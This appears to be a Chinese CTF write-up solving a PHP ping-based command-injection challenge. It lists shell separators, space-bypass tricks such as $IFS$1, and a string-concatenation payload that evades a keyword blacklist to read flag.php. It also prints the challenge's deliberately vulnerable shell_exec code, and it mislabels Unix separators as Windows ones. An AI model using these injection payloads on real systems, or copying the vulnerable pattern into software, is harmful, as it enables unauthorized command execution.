题目
打开网站
就这么点东西,啥都没有,那么我们浅试一下
那我们ls一下将文件名都输出出来,我们用几种方式都可以输出文件名
?ip=127.0.0.1|ls
?ip=127.0.0.1;ls
?ip=127.0.0.1||ls
这里都是用了Windows中的管道符命令
| 直接执行后面的语句,例如 ping 127.0.0.1|whoami
|| 如果前面执行的语句出错,才执行后面的语句,所以前面的语句必须为假,例如 ping 1||whoami
& 前面的语句可真可假,例如 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,所以前面的语句必须为真,例如 ping 127.0.0.1&&whoami
那么我们已经知道这题试ping命令,那么我们就可以使用Windows下ping命令操作来做这道题,我们尝试cat一下flag.php
?ip=127.0.0.1|cat flag.php
这里看了大佬的wp说是空格绕过,我去百度了一下空格绕过的方法
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
由于我在尝试flag.php发现是访问不了的,那就只能尝试index.php了而且我在尝试中也发现只有这一中绕过可以绕过
?ip=1|cat$IFS$1index.php
我们就可以看见到底是过滤了什么
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
过滤了很多的东西,那么我们可以进行绕过过滤(拼接绕过)
?ip=1;R=g;cat$IFS$1fla$R.php;